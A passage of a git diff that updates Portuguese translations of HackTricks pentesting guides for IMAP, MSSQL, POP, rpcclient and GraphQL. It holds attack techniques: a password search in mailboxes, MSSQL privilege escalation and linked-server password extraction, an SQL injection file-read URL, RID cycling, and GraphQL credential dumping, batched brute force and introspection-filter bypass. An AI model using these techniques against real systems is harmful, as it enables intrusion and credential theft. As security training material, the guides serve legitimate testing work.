[fonte](https://github.com/curl/curl/blob/master/lib/imap.c) para obter detalhes precisos. 1. Listando caixas de correio (comando imap `LIST "" "*") ```bash curl -k 'imaps://1.2.3.4/' --user user:pass ``` -2. Listando mensagens em uma caixa de correio (comando IMAP `SELECT INBOX` e depois `SEARCH ALL`) +2. Listando mensagens em uma caixa de correio (comando imap `SELECT INBOX` e depois `SEARCH ALL`) ```bash curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass ``` O resultado desta pesquisa é uma lista de índices de mensagens. -Também é possível fornecer termos de pesquisa mais complexos. Por exemplo, procurar por rascunhos com senha no corpo do e-mail: +Também é possível fornecer termos de pesquisa mais complexos. Por exemplo, procurando por rascunhos com senha no corpo do e-mail: ```bash curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ``` @@ -154,9 +156,9 @@ done * `port:143 CAPABILITY` * `port:993 CAPABILITY` -**Try Hard Security Group** +**Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 7b92232c3..4e60e0497 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -7,16 +7,16 @@ Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. -**Grupo de Segurança Try Hard** +**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -155,14 +155,14 @@ SELECT * FROM sysusers 1. **Securável:** Definido como os recursos gerenciados pelo SQL Server para controle de acesso. Estes são categorizados em: - **Servidor** – Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funções do servidor. -- **Banco de Dados** – Exemplos abrangem funções de banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários. +- **Banco de Dados** – Exemplos abrangem função do banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários. - **Esquema** – Inclui tabelas, visualizações, procedimentos, funções, sinônimos, etc. 2. **Permissão:** Associada aos securáveis do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis: - Nível do **Servidor** usando logins - Nível do **Banco de Dados** usando usuários -3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securável. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securáveis é exercido através da concessão ou negação de permissões ou incluindo logins e usuários em funções equipadas com direitos de acesso. +3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securável. Principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securáveis é exercido através da concessão ou negação de permissões ou incluindo logins e usuários em funções equipadas com direitos de acesso. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -298,7 +298,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w O MSSQL pode permitir que você execute **scripts em Python e/ou R**. Esse código será executado por um **usuário diferente** do que está usando **xp\_cmdshell** para executar comandos. -Exemplo tentando executar um **'R'** _"Olá Mundo!"_ **que não funciona**: +Exemplo tentando executar um **'R'** _"Hellow World!"_ **que não funciona**: ![](<../../.gitbook/assets/image (185) (1).png>) @@ -318,9 +318,9 @@ GO ``` ### Ler Registro -O Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:** +O Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** -| **Regular** | **Com Consciência de Instância** | +| **Regular** | **Consciente da Instância** | | ---------------------------- | -------------------------------------- | | sys.xp\_regread | sys.xp\_instance\_regread | | sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues | @@ -341,7 +341,7 @@ Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). +Para **mais exemplos** confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). ### RCE com Função Definida pelo Usuário MSSQL - SQLHttp @@ -351,13 +351,14 @@ Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffie ### Outras formas de RCE -Existem outros métodos para obter execução de comandos, como adicionar [procedimentos armazenados estendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Trabalhos do SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). +Existem outros métodos para obter execução de comandos, como adicionar [procedimentos armazenados estendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Jobs do SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). -## Escalação de Privilégios MSSQL + +## Escalonamento de Privilégios MSSQL ### De db\_owner para sysadmin -Se um **usuário regular** recebe a função **`db_owner`** sobre o **banco de dados de propriedade de um administrador** (como **`sa`**) e esse banco de dados está configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **escalação de privilégios** porque **procedimentos armazenados** criados lá podem **executar** como o proprietário (**administrador**). +Se um **usuário regular** recebe a função **`db_owner`** sobre o **banco de dados de propriedade de um usuário admin** (como **`sa`**) e esse banco de dados está configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **escalada de privilégios** porque **procedimentos armazenados** criados ali podem **executar** como o proprietário (**admin**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -419,7 +420,7 @@ SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') ``` {% hint style="info" %} -Se você pode se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros bancos de dados ou servidores vinculados. +Se você pode se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros **bancos de dados** ou servidores vinculados. Note que uma vez que você é sysadmin, você pode se passar por qualquer outro usuário: {% endhint %} @@ -446,12 +447,12 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) -## Extraindo senhas de Servidores Vinculados do SQL Server -Um atacante pode extrair senhas de Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para obter uma posição mais forte no alvo. +## Extraindo senhas dos Servidores Vinculados do SQL Server +Um atacante pode extrair senhas dos Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para obter uma posição mais forte no alvo. O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado [aqui](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Alguros requisitos e configurações devem ser feitos para que esse exploit funcione. -Primeiramente, você deve ter direitos de Administrador na máquina, ou a capacidade de gerenciar as Configurações do SQL Server. +Alguns requisitos e configurações devem ser feitos para que esse exploit funcione. +Primeiramente, você deve ter direitos de Administrador na máquina ou a capacidade de gerenciar as Configurações do SQL Server. Após validar suas permissões, você precisa configurar três coisas, que são as seguintes: 1. Habilitar o TCP/IP nas instâncias do SQL Server; @@ -464,7 +465,7 @@ Além de ter um script em PowerShell para cada etapa da configuração, o reposi Para mais informações, consulte os seguintes links sobre esse ataque: [Descriptografando Senhas de Servidores de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Resolvendo problemas com a Conexão de Administrador Dedicado do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Resolvendo problemas da Conexão de Administrador Dedicado do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Escalação Local de Privilégios @@ -494,13 +495,13 @@ Provavelmente você será capaz de **escalar para Administrador** seguindo uma d * [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -## HackTricks Automatic Commands +## Comandos Automáticos do HackTricks ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. diff --git a/network-services-pentesting/pentesting-pop.md b/network-services-pentesting/pentesting-pop.md index 133bd15de..fc2bfa819 100644 --- a/network-services-pentesting/pentesting-pop.md +++ b/network-services-pentesting/pentesting-pop.md @@ -14,7 +14,7 @@ **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -94,16 +94,16 @@ password: PA$$W0RD!Z De [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) | **Configuração** | **Descrição** | -| ------------------------- | ----------------------------------------------------------------------------------------- | -| `auth_debug` | Ativa todos os registros de depuração de autenticação. | -| `auth_debug_passwords` | Esta configuração ajusta a verbosidade do registro, as senhas enviadas e o esquema são registrados. | -| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. | -| `auth_verbose_passwords` | As senhas usadas para autenticação são registradas e também podem ser truncadas. | -| `auth_anonymous_username` | Especifica o nome de usuário a ser usado ao fazer login com o mecanismo SASL ANÔNIMO. | +| ------------------------- | ----------------------------------------------------------------------------------------- | +| `auth_debug` | Habilita todos os registros de depuração de autenticação. | +| `auth_debug_passwords` | Esta configuração ajusta a verbosidade do registro, as senhas enviadas e o esquema são registrados. | +| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. | +| `auth_verbose_passwords` | As senhas usadas para autenticação são registradas e também podem ser truncadas. | +| `auth_anonymous_username` | Especifica o nome de usuário a ser usado ao fazer login com o mecanismo SASL ANÔNIMO. | -**Try Hard Security Group** +**Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index 624dd98cd..f8fb5838e 100644 --- a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -14,7 +14,7 @@ **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -22,7 +22,7 @@ ### Visão geral dos Identificadores Relativos (RID) e Identificadores de Segurança (SID) -**Identificadores Relativos (RID)** e **Identificadores de Segurança (SID)** são componentes-chave nos sistemas operacionais Windows para identificar e gerenciar objetos, como usuários e grupos, dentro de um domínio de rede. +**Identificadores Relativos (RID)** e **Identificadores de Segurança (SID)** são componentes-chave nos sistemas operacionais Windows para identificar e gerenciar de forma única objetos, como usuários e grupos, dentro de um domínio de rede. - **SIDs** servem como identificadores únicos para domínios, garantindo que cada domínio seja distinguível. - **RIDs** são anexados aos SIDs para criar identificadores únicos para objetos dentro desses domínios. Essa combinação permite o rastreamento preciso e o gerenciamento de permissões de objetos e controles de acesso. @@ -36,7 +36,7 @@ A utilidade **`rpcclient`** do Samba é utilizada para interagir com **pontos fi #### Informações do Servidor -* Para obter **Informações do Servidor**: é usado o comando `srvinfo`. +* Para obter as **Informações do Servidor**: é usado o comando `srvinfo`. #### Enumeração de Usuários @@ -85,25 +85,25 @@ done | **Comando** | **Interface** | **Descrição** | | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | -| queryuser | SAMR | Recupera informações do usuário | -| querygroup | Recupera informações do grupo | | -| querydominfo | Recupera informações do domínio | | -| enumdomusers | Enumera usuários do domínio | | -| enumdomgroups | Enumera grupos do domínio | | -| createdomuser | Cria um usuário de domínio | | -| deletedomuser | Exclui um usuário de domínio | | -| lookupnames | LSARPC | Procura nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) | -| lookupsids | Procura SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | | -| lsaaddacctrights | Adiciona direitos a uma conta de usuário | | -| lsaremoveacctrights | Remove direitos de uma conta de usuário | | -| dsroledominfo | LSARPC-DS | Obtém informações do domínio primário | -| dsenumdomtrusts | Enumera domínios confiáveis dentro de um floresta AD | | +| queryuser | SAMR | Recuperar informações do usuário | +| querygroup | Recuperar informações do grupo | | +| querydominfo | Recuperar informações do domínio | | +| enumdomusers | Enumerar usuários do domínio | | +| enumdomgroups | Enumerar grupos do domínio | | +| createdomuser | Criar um usuário de domínio | | +| deletedomuser | Excluir um usuário de domínio | | +| lookupnames | LSARPC | Pesquisar nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) | +| lookupsids | Pesquisar SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | | +| lsaaddacctrights | Adicionar direitos a uma conta de usuário | | +| lsaremoveacctrights | Remover direitos de uma conta de usuário | | +| dsroledominfo | LSARPC-DS | Obter informações do domínio primário | +| dsenumdomtrusts | Enumerar domínios confiáveis dentro de um floresta AD | | Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_ funcionam, você deve ler [**Pentesting MSRPC**](../135-pentesting-msrpc.md). **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -114,7 +114,7 @@ Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_ * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) -* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index 5ecb835d1..d30559720 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -4,19 +4,19 @@ Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -Outras formas de apoiar o HackTricks: +Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. ## Introdução -GraphQL é **destacado** como uma **alternativa eficiente** para API REST, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com REST, que frequentemente exige numerosas solicitações em endpoints variados para reunir dados, o GraphQL permite a obtenção de todas as informações necessárias por meio de uma **única solicitação**. Esse processo simplificado beneficia significativamente os desenvolvedores, diminuindo a complexidade de seus processos de busca de dados. +GraphQL é **destacado** como uma **alternativa eficiente** às APIs REST, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com o REST, que frequentemente exige numerosas solicitações em endpoints variados para reunir dados, o GraphQL permite a obtenção de todas as informações necessárias por meio de uma **única solicitação**. Essa otimização beneficia significativamente os desenvolvedores, diminuindo a complexidade de seus processos de busca de dados. ## GraphQL e Segurança @@ -26,18 +26,18 @@ Com o surgimento de novas tecnologias, incluindo o GraphQL, novas vulnerabilidad Para identificar instâncias de GraphQL expostas, é recomendável a inclusão de caminhos específicos em ataques de força bruta em diretórios. Esses caminhos são: -- `/graphql` -- `/graphiql` -- `/graphql.php` -- `/graphql/console` -- `/api` -- `/api/graphql` -- `/graphql/api` -- `/graphql/graphql` +* `/graphql` +* `/graphiql` +* `/graphql.php` +* `/graphql/console` +* `/api` +* `/api/graphql` +* `/graphql/api` +* `/graphql/graphql` -Identificar instâncias de GraphQL abertas permite a análise de consultas suportadas. Isso é crucial para entender os dados acessíveis pelo endpoint. O sistema de introspecção do GraphQL facilita isso detalhando as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: Uma linguagem de consulta para APIs.**](https://graphql.org/learn/introspection/) +Identificar instâncias de GraphQL abertas permite a análise de consultas suportadas. Isso é crucial para entender os dados acessíveis através do endpoint. O sistema de introspecção do GraphQL facilita isso detalhando as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: Uma linguagem de consulta para APIs.**](https://graphql.org/learn/introspection/) -### Impressão Digital +### Fingerprint A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de detectar qual mecanismo GraphQL é usado em um servidor e então imprime algumas informações úteis para o auditor de segurança. @@ -49,7 +49,7 @@ query{__typename} ``` ### Enumeração Básica -O GraphQL geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora por motivos de segurança seja recomendado permitir apenas json para prevenir ataques CSRF. +O GraphQL geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora, por motivos de segurança, seja recomendado permitir apenas json para prevenir ataques CSRF. #### Introspecção @@ -185,7 +185,7 @@ Se a introspecção estiver habilitada, você pode usar [**GraphQL Voyager**](ht ### Consultando -Agora que sabemos que tipo de informações estão salvas no banco de dados, vamos tentar **extrair alguns valores**. +Agora que sabemos que tipo de informações estão armazenadas no banco de dados, vamos tentar **extrair alguns valores**. Na introspecção, você pode encontrar **quais objetos você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto de flag. @@ -207,7 +207,7 @@ Você pode consultá-lo apenas com: ```javascript query={hiddenFlags} ``` -Em outro exemplo em que havia 2 objetos dentro do objeto "_Query_": "_user_" e "_users_".\ +Em outro exemplo em que havia 2 objetos dentro do objeto tipo "_Query_": "_user_" e "_users_".\ Se esses objetos não precisarem de nenhum argumento para pesquisa, é possível **recuperar todas as informações deles** apenas **solicitando** os dados desejados. Neste exemplo da Internet, você poderia extrair os nomes de usuário e senhas salvos: ![](<../../.gitbook/assets/image (208).png>) @@ -217,16 +217,16 @@ No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**: ![](<../../.gitbook/assets/image (210).png>) Parece que de alguma forma ele fará a pesquisa usando o argumento "_**uid**_" do tipo _**Int**_.\ -De qualquer forma, já sabíamos disso, na seção [Enumeração Básica](graphql.md#enumeração-básica) foi proposta uma consulta que estava nos mostrando todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +De qualquer forma, já sabíamos disso, na seção de [Enumeração Básica](graphql.md#enumeração-básica) foi proposta uma consulta que estava nos mostrando todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Se você ler a imagem fornecida quando eu executar essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_. -Então, realizando um leve _**uid**_ bruteforce, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\ +Então, realizando uma leve força bruta de _**uid**_, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\ `query={user(uid:1){user,password}}` ![](<../../.gitbook/assets/image (211).png>) -Observe que **descobri** que poderia solicitar os **parâmetros** "_**user**_" e "_**password**_" porque se eu tentar procurar por algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro: +Observe que **descobri** que poderia solicitar os parâmetros "_**user**_" e "_**password**_" porque se eu tentar procurar por algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro: ![](<../../.gitbook/assets/image (213).png>) @@ -234,13 +234,13 @@ E durante a fase de **enumeração** descobri que o objeto "_**dbuser**_" tinha **Truque de despejo de string de consulta (obrigado a @BinaryShadow\_)** -Se você puder pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **procurar por uma string vazia**, ele irá **despejar todos os dados**. (_Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "**theusers**" por um campo de String chamado "**description**"_). +Se você puder pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **procurar por uma string vazia** ele irá **despejar todos os dados**. (_Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "**theusers**" por um campo de String chamado "**description**"_). -### Pesquisa +### Pesquisando Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seus **e-mails** e **nomes**; **filmes** por seus **nomes** e **classificações**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados. -Você pode **pesquisar** pessoas **pelo** nome e obter seus e-mails: +Você pode **pesquisar** pessoas **pelo** **nome** e obter seus e-mails: ```javascript { searchPerson(name: "John Doe") { @@ -300,7 +300,7 @@ name **As mutações são usadas para fazer alterações no lado do servidor.** -Na **introspecção** você pode encontrar as **mutações** **declaradas**. Na seguinte imagem, o "_MutationType_" é chamado de "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso): +Na **introspecção** você pode encontrar as **mutações** **declaradas**. Na seguinte imagem, o "_MutationType_" é chamado "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso): ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) @@ -347,10 +347,14 @@ releaseYear } } ``` -### Agrupando força bruta em 1 solicitação de API +### Sobrecarga de Diretivas -Essas informações foram retiradas de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Autenticação por meio da API GraphQL com **envio simultâneo de várias consultas com credenciais diferentes** para verificação. É um ataque de força bruta clássico, mas agora é possível enviar mais de um par de login/senha por solicitação HTTP devido ao recurso de agrupamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que está tudo bem e que não há um bot de força bruta tentando adivinhar senhas. +Conforme explicado em [**uma das vulnerabilidades descritas neste relatório**](https://www.landh.tech/blog/20240304-google-hack-50000/), uma sobrecarga de diretivas implica na chamada de uma diretiva mesmo milhões de vezes para fazer o servidor desperdiçar operações até ser possível realizá-lo. + +### Força bruta em lote em 1 solicitação de API + +Essa informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ +Autenticação por meio da API GraphQL com **envio simultâneo de muitas consultas com credenciais diferentes** para verificação. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par de login/senha por solicitação HTTP devido ao recurso de loteamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que está tudo bem e que não há um bot de força bruta tentando adivinhar senhas. Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares de email/senha diferentes por vez**. Obviamente, é possível enviar milhares em uma única solicitação da mesma maneira: @@ -364,15 +368,15 @@ Como podemos ver na captura de tela da resposta, as primeiras e terceiras solici Cada vez mais **os pontos finais do graphql estão desabilitando a introspecção**. No entanto, os erros que o graphql lança quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema. -Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL passando pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que vê. Ele também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL passando pelo Burp** e **constrói** um esquema interno do GraphQL **com cada nova consulta que vê**. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). -Uma **lista de palavras** interessante para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?). +Uma **lista de palavras** útil para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?). -### Bypassing defesas de introspecção GraphQL +### Bypassing Defesas de Introspecção GraphQL ### **Burlando as Defesas de Introspecção GraphQL** -Para burlar as restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** se mostra eficaz. Este método explora descuidos comuns de desenvolvedores em padrões de regex que visam bloquear a introspecção, focando na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, quebras de linha e vírgulas**, que o GraphQL ignora mas que podem não ser considerados em regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após `__schema` pode burlar tais defesas: +Para burlar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** se mostra eficaz. Este método explora descuidos comuns de desenvolvedores em padrões de regex que visam bloquear a introspecção ao focar na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, quebras de linha e vírgulas**, que o GraphQL ignora mas que podem não ser considerados em regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após `__schema` pode burlar tais defesas: ```bash # Example with newline to bypass { @@ -380,17 +384,17 @@ Para burlar as restrições em consultas de introspecção em APIs, inserir um * {queryType{name}}}" } ``` -Se não tiver sucesso, considere métodos de solicitação alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, pois as restrições podem se aplicar apenas às solicitações POST. +Se não for bem-sucedido, considere métodos de solicitação 